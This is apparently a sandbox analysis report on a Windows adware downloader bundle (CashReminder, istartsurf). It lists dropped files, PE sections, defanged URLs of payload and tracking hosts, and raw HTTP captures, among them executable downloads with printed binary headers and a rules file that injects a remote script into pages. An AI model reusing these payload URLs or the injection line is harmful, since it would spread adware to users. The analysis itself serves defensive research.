%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\System.dll (11 bytes)
%Program Files%\CashReminder\libeay32.dll (41192 bytes)
%System%\drivers\crfilterdrv.sys (57 bytes)
%Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SelfDel.dll (5 bytes)
%Program Files%\CashReminder\CashReminder.exe (15536 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
%Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright: lV3vYxkgImpuHrJdsvvA2VZpo8E
Legal Trademarks: lV3vYxkgImpuHrJds
Original Filename: lV3vYxkgImpuHrJdsvvA2
Internal Name:
File Version:
File Description: Download da Internet
Comments: lV3vYxkgImpuHrJdsvvA2V
Language: Language Neutral

Company Name: Product Name: Product Version: Legal Copyright: lV3vYxkgImpuHrJdsvvA2VZpo8ELegal Trademarks: lV3vYxkgImpuHrJdsOriginal Filename: lV3vYxkgImpuHrJdsvvA2Internal Name: File Version: File Description: Download da InternetComments: lV3vYxkgImpuHrJdsvvA2VLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23462	23552	4.51398	9d64b6ac6eb1aa41e38f6cc8798b652e
.rdata	28672	4496	4608	3.59163	f179218a059068529bdb4637ef5fa28e
.data	36864	3774424	1024	3.26654	af685ae5a632e08acd6c90a62cdfc3bb
.ndata	3813376	36864	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	3850240	3240	3584	2.83487	88c2149b825254f6ff1d7e771384fa3a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://198.50.209.4/310714d/310714_is.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.trackpixl.com/010914s/010914i.htm
hxxp://www.trackpixl.com/010914s/icone_cadeado.gif
hxxp://www.trackpixl.com/010914s/top-line.gif
hxxp://www.trackpixl.com/010914s/mobi.js
hxxp://www.trackpixl.com/010914s/mobi2.js
hxxp://mobimidia.com/mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA=
hxxp://www.trackpixl.com/310714d/240714_ps.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.trackpixl.com/010914s/carregando.gif
hxxp://www.trackpixl.com/010914s/verificar_ip.php
hxxp://www.trackpixl.com/010914s/extreme.html
hxxp://t1.extreme-dm.com/f.js
hxxp://t1.extreme-dm.com/s9.g?login=pcofferp&srw=1916&srh=902&jv=true&j=y&srb=32&l=http://www.trackpixl.com/010914s/010914i.htm
hxxp://www.trackpixl.com/310714d/310714_a9.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.trackpixl.com/310714d/310714_br.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.istartsurf&update1=ref,pcm&update2=identifier,installer&update3=version,7.0.0.2807&update4=nation,us&update5=language,en
hxxp://dqoup4b5zs0bi.cloudfront.net/4760/1
hxxp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip	54.239.168.111
hxxp://www.trackpixl.com/310714d/291014_nj.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://plainsavingscenter.com/mg?alpha=VRsOFU1pUUlLBRQqIT9CVF9dGE1VXQxkOCMGDV8nWkhPATsBYBNnJVVbD2JpCgwWMzlTbRJifT9oWDwuRhM0GD8tTBJaRgVEQzZrVi9y
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.finish,2
hxxp://www.trackpixl.com/310714d/280815_cr.exe
hxxp://plainsavingscenter.com/fp?alpha=CWEQCnZfflcfanYkPyB5CCVDB3YJPQZ7Ny5gQR4pTzEeXmUfSh0JGHgiBHouV2oXLAsOCnoONhd6MCNjDSkfAgZnESdkBi06c3o1NjgyaRdWfAteNx1lWHd+ewsQS20JMUkBclUbEHgYAyoKDTpUfxVeDA4Tews1CGZBVmIaZi9UDQEeFUcyDSADCTNxNXZnfVssFUt5G3RMImYrXQIbahJmRAwgVQ1DfghaIhwFJkUhR08IXwd3DiJHOkw2OFNhMlNIdwcHRSgGYlpQdCw0JXQILwkACWhLaUd2d30PFUhoGWEPQH4yUQY5XVJ3AX0kVn4RKw8PCnd8RxF6MlYUfikaAnNufiEUAVk0B3lRdxdvYmUhHihDbxM=
hxxp://plainsavingscenter.com/ii?alpha=DF5ZCkByLGIvWRoudiBPDRoKB0AMAlUiTSlmGF4PU1sIChQZYlQccl9FGxxyAQ4FAWtPPm5OV1IhXFtUCQogFDZmQhkeWF0DSg8Wc0h2J08PEzAISlkbDSQCbHMMRSkKfAQUM1AgRH5dDxtYCBdSSkEuSQ8pKnsKFlh6IyR/fiJ/Q3QBXRtCS0RCDRVxWzFkRlBAV0UcG14MdUNsZA4eLkhQCEUQEWIFI2xbChFZRyIKAzkxCjY3FgAZWAhIUwwKJxxhNwNnSRVQZywZSjMaZiQXQyUGBUhFHE9qUHkyRhoFThlaXwMMYFQBd11eGk9OBgxMOGVSfGhPQQAwaEY2S1RzX3UhBURIFwESCVpXMwdwOlJEUlpFHQRZCnZAanMOChpTXFAMBQhxAmwkHh9bDAcPCwAOYlslQlZVTAFLDkYRbntTcjcIC3UCDEYaTAxmAGlpRlgcXRsRU01dME1zMEdJXAgZWE1IWSJTeS4EGUMGEiJCXCo2CykhSF1EVX4HCkpeM15pPwIWYjgyfD4ZQS8DfGk2PS0hKgpOHwEQPT1hGR1MbFZHWAAIfkkFWnsMPV1TBFgoHWVKfSFIWR1OXQgFBAozQDtjKBZWCBIkJA==
hxxp://plainsavingscenter.com/if?alpha=D1ohCQsPEC5WZVptDiMEDh5yBAsPBi0hBipiYF1EUF9wCV8aZiwfOVxBYx85Agp9AiBMOhZNHFElJFgfCg5YF31lRmEdE14HMgxdcEwOJAQMF0gLAVofdSdJb3d0RmIJeHwXeFMkPH0WDB8gC1xRTjktAgwtUnhBFVwCIG98elp8CHcNMBhuBlNrUCctAxMcUBEaRB8OXQwsY1Y/OSddUQQJfR4LRCYlYWcFBj0OX1NPJ0ojWno9SRYeBSUdXVZQH1xrNQ01Z08BYDoKQHNEVW4JTVgiXVYbSSMgVAVrcEZyah0iXEoTZnRyAlRGaVAdEFA0X3USfhZPX0wfNgBfB3IEWj8+GzxDSU5hblIKLB0Ud2EtVkcaCE8KNzZSJmpyFwdPXj9cVwV4MXV1CAY8EVhVTCRMNFpuCVIaRkwwBE5RH1cZfn9YdUpOAldpW1MGBAA7UA4eN0AyRwYwIF9pV2caU1xIZAlQHCslaTsPWDBGTAIKKVV3Ey1PCV9ODX1VHQAKXQN4Z1JgZwdecz0LX2UaCDMEOxd7GwIPCysoVXRAXSRpeB0pQFMJK1UMCnNpK1seXipZGyZNeV9tEFEYNQRBGnYpfG0ZCSFBHSpEbkoLG3VcGhh9JQ==
hxxp://istartsurf.com/logic/z.php
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://goo.gl/xKPQyH
hxxp://goo.gl/static/0053.urlshortener.css
hxxp://www.google.com/css/go.css
hxxp://goo.gl/static/0053.urlshortener.js
hxxp://googleadapis.l.google.com/css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext
hxxp://www.google.com/images/logos/url_shortener_logo.gif
hxxp://gstaticadssl.l.google.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.finish
hxxp://istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://istartsurf.com/local/css/simple2.css?version=20150907a082400
hxxp://a1737.g.akamai.net/ftpup/vres/v2/images/22find/images/loading.gif
hxxp://istartsurf.com/global/js/jquery.js?version=20150907a
hxxp://brsoftwarellc.com/services/rules.txt?dummy=597
hxxp://a1737.g.akamai.net/ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png
hxxp://brsoftwarellc.com/services/update.php?v=2.1.0&key=CsmhKBb6CJwuW6jBNP8SNHgMXJzTyTUy&dummy=636
hxxp://istartsurf.com/local/js/simple_other.js?version=20150907a0824
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.install
hxxp://dqoup4b5zs0bi.cloudfront.net/4760/2
hxxp://related.deals/services/stores?dummy=322
hxxp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip	54.239.168.111
hxxp://related.deals/services/rules?dummy=106
hxxp://related.deals/services/update/2.1.0/GK6PgaQxtY77NwSEI1TmP53kvdGWkCkI/367
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.ssfk
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.wpm
hxxp://www.istartsurf.com/logic/z.php
hxxp://www.4threquest.me/310714d/310714_is.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.brsoftwarellc.com/services/update.php?v=2.1.0&key=CsmhKBb6CJwuW6jBNP8SNHgMXJzTyTUy&dummy=636
hxxp://a.thanksearch.com/ftpup/vres/v2/images/22find/images/loading.gif
hxxp://www.4threquest.me/310714d/291014_nj.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.related.deals/services/update/2.1.0/GK6PgaQxtY77NwSEI1TmP53kvdGWkCkI/367
hxxp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot
hxxp://www.4threquest.me/310714d/240714_ps.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.related.deals/services/stores?dummy=322
hxxp://install.plainsavingscenter.com/mg?alpha=VRsOFU1pUUlLBRQqIT9CVF9dGE1VXQxkOCMGDV8nWkhPATsBYBNnJVVbD2JpCgwWMzlTbRJifT9oWDwuRhM0GD8tTBJaRgVEQzZrVi9y
hxxp://install.plainsavingscenter.com/ii?alpha=DF5ZCkByLGIvWRoudiBPDRoKB0AMAlUiTSlmGF4PU1sIChQZYlQccl9FGxxyAQ4FAWtPPm5OV1IhXFtUCQogFDZmQhkeWF0DSg8Wc0h2J08PEzAISlkbDSQCbHMMRSkKfAQUM1AgRH5dDxtYCBdSSkEuSQ8pKnsKFlh6IyR/fiJ/Q3QBXRtCS0RCDRVxWzFkRlBAV0UcG14MdUNsZA4eLkhQCEUQEWIFI2xbChFZRyIKAzkxCjY3FgAZWAhIUwwKJxxhNwNnSRVQZywZSjMaZiQXQyUGBUhFHE9qUHkyRhoFThlaXwMMYFQBd11eGk9OBgxMOGVSfGhPQQAwaEY2S1RzX3UhBURIFwESCVpXMwdwOlJEUlpFHQRZCnZAanMOChpTXFAMBQhxAmwkHh9bDAcPCwAOYlslQlZVTAFLDkYRbntTcjcIC3UCDEYaTAxmAGlpRlgcXRsRU01dME1zMEdJXAgZWE1IWSJTeS4EGUMGEiJCXCo2CykhSF1EVX4HCkpeM15pPwIWYjgyfD4ZQS8DfGk2PS0hKgpOHwEQPT1hGR1MbFZHWAAIfkkFWnsMPV1TBFgoHWVKfSFIWR1OXQgFBAozQDtjKBZWCBIkJA==
hxxp://install.plainsavingscenter.com/if?alpha=D1ohCQsPEC5WZVptDiMEDh5yBAsPBi0hBipiYF1EUF9wCV8aZiwfOVxBYx85Agp9AiBMOhZNHFElJFgfCg5YF31lRmEdE14HMgxdcEwOJAQMF0gLAVofdSdJb3d0RmIJeHwXeFMkPH0WDB8gC1xRTjktAgwtUnhBFVwCIG98elp8CHcNMBhuBlNrUCctAxMcUBEaRB8OXQwsY1Y/OSddUQQJfR4LRCYlYWcFBj0OX1NPJ0ojWno9SRYeBSUdXVZQH1xrNQ01Z08BYDoKQHNEVW4JTVgiXVYbSSMgVAVrcEZyah0iXEoTZnRyAlRGaVAdEFA0X3USfhZPX0wfNgBfB3IEWj8+GzxDSU5hblIKLB0Ud2EtVkcaCE8KNzZSJmpyFwdPXj9cVwV4MXV1CAY8EVhVTCRMNFpuCVIaRkwwBE5RH1cZfn9YdUpOAldpW1MGBAA7UA4eN0AyRwYwIF9pV2caU1xIZAlQHCslaTsPWDBGTAIKKVV3Ey1PCV9ODX1VHQAKXQN4Z1JgZwdecz0LX2UaCDMEOxd7GwIPCysoVXRAXSRpeB0pQFMJK1UMCnNpK1seXipZGyZNeV9tEFEYNQRBGnYpfG0ZCSFBHSpEbkoLG3VcGhh9JQ==
hxxp://www.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://www.mobimidia.com/mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA=
hxxp://www.istartsurf.com/local/js/simple_other.js?version=20150907a0824
hxxp://www.istartsurf.com/global/js/jquery.js?version=20150907a
hxxp://fonts.googleapis.com/css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext
hxxp://4threquest.me/310714d/310714_a9.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://www.related.deals/services/rules?dummy=106
hxxp://www.brsoftwarellc.com/services/rules.txt?dummy=597
hxxp://install.plainsavingscenter.com/fp?alpha=CWEQCnZfflcfanYkPyB5CCVDB3YJPQZ7Ny5gQR4pTzEeXmUfSh0JGHgiBHouV2oXLAsOCnoONhd6MCNjDSkfAgZnESdkBi06c3o1NjgyaRdWfAteNx1lWHd+ewsQS20JMUkBclUbEHgYAyoKDTpUfxVeDA4Tews1CGZBVmIaZi9UDQEeFUcyDSADCTNxNXZnfVssFUt5G3RMImYrXQIbahJmRAwgVQ1DfghaIhwFJkUhR08IXwd3DiJHOkw2OFNhMlNIdwcHRSgGYlpQdCw0JXQILwkACWhLaUd2d30PFUhoGWEPQH4yUQY5XVJ3AX0kVn4RKw8PCnd8RxF6MlYUfikaAnNufiEUAVk0B3lRdxdvYmUhHihDbxM=
hxxp://www.4threquest.me/310714d/310714_br.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp
hxxp://e0.extreme-dm.com/s9.g?login=pcofferp&srw=1916&srh=902&jv=true&j=y&srb=32&l=http://www.trackpixl.com/010914s/010914i.htm
hxxp://www.4threquest.me/310714d/280815_cr.exe
hxxp://www.istartsurf.com/local/css/simple2.css?version=20150907a082400
hxxp://d.thanksearch.com/ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /services/rules.txt?dummy=597 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sun, 13 Sep 2015 21:50:48 GMT

Content-Type: text/plain

Content-Length: 232

Connection: keep-alive

Last-Modified: Wed, 19 Aug 2015 14:14:34 GMT

ETag: "5ac277-e8-51daaa76ae680"

Cache-Control: max-age=600

Expires: Sun, 13 Sep 2015 22:00:48 GMT

P3P: CP="Potato"

X-Cache: EXPIRED

X-Server: Provided by Intermedia

X-Country: EU

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes

</body>|<script src="//pgjs.me/services/script.js" type="text/javascript"></script></body>.searchinfofast|xsearchinfofas.apiplainsavingsc|apiplainsavingscx.descontosofertas.com.br|xdescontosofertas.com.br.yupfiles.net|xyupfiles.net.HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sun, 13 Sep 2015 21:50:48 GMT..Content-Type: text/plain..Content-Length: 232..Connection: keep-alive..Last-Modified: Wed, 19 Aug 2015 14:14:34 GMT..ETag: "5ac277-e8-51daaa76ae680"..Cache-Control: max-age=600..Expires: Sun, 13 Sep 2015 22:00:48 GMT..P3P: CP="Potato"..X-Cache: EXPIRED..X-Server: Provided by Intermedia..X-Country: EU..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..Accept-Ranges: bytes..</body>|<script src="//pgjs.me/services/script.js" type="text/javascript"></script></body>.searchinfofast|xsearchinfofas.apiplainsavingsc|apiplainsavingscx.descontosofertas.com.br|xdescontosofertas.com.br.yupfiles.net|xyupfiles.net.....

<<< skipped >>>

GET /services/update.php?v=2.1.0&key=CsmhKBb6CJwuW6jBNP8SNHgMXJzTyTUy&dummy=636 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.brsoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sun, 13 Sep 2015 21:50:48 GMT

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: EU

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sun, 13 Sep 2015 21:50:48 GMT..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedia..X-Country: EU..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.finish HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:50:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.77 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:50:39 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.77 ms","message":"store 1 action and 0 update "}..0..

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.ssfk HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:51:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:51:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 update "}..0..

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.wpm HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:51:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.63 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:51:05 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.63 ms","message":"store 1 action and 0 update "}..0..

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.istartsurf&update1=ref,pcm&update2=identifier,installer&update3=version,7.0.0.2807&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:50:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57.............V*.I,)V.R..V.Q*..M....,..r......... .....T........<.....S......T..Z.....H.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:50:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..57.............V*.I,)V.R..V.Q*..M....,..r......... .....T........<.....S......T..Z.....H.....0......

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.finish,2 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sun, 13 Sep 2015 21:50:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57.............V*.I,)V.R..V.Q*..M.....M.r......... .....T.C......<............T..Z..j..H.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:50:15 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..57.............V*.I,)V.R..V.Q*..M.....M.r......... .....T.C......<............T..Z..j..H.....0..

GET /310714d/310714_is.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:02 GMT

Content-Type: application/octet-stream

Content-Length: 827560

Last-Modified: Wed, 02 Sep 2015 18:52:41 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@......hE.P.........@..............................P........,..............(...........................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P..................................................................................................................................................................string................<.@.....m.@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance..L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameIs...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsFrom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..FieldAddress...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObject.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.

<<< skipped >>>

GET /310714d/240714_ps.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:07 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 523272

Content-Description: File Transfer

Content-Disposition: attachment; filename="240714_ps.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z....... ...0.......p....@.......................... ...............................................s.......................................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata.......p...........................rsrc................t..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G.....t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /310714d/310714_br.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:12 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 1606945

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_br.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9.....?2.......p....@...........................;..............................................s........:..............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc.........:......v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h 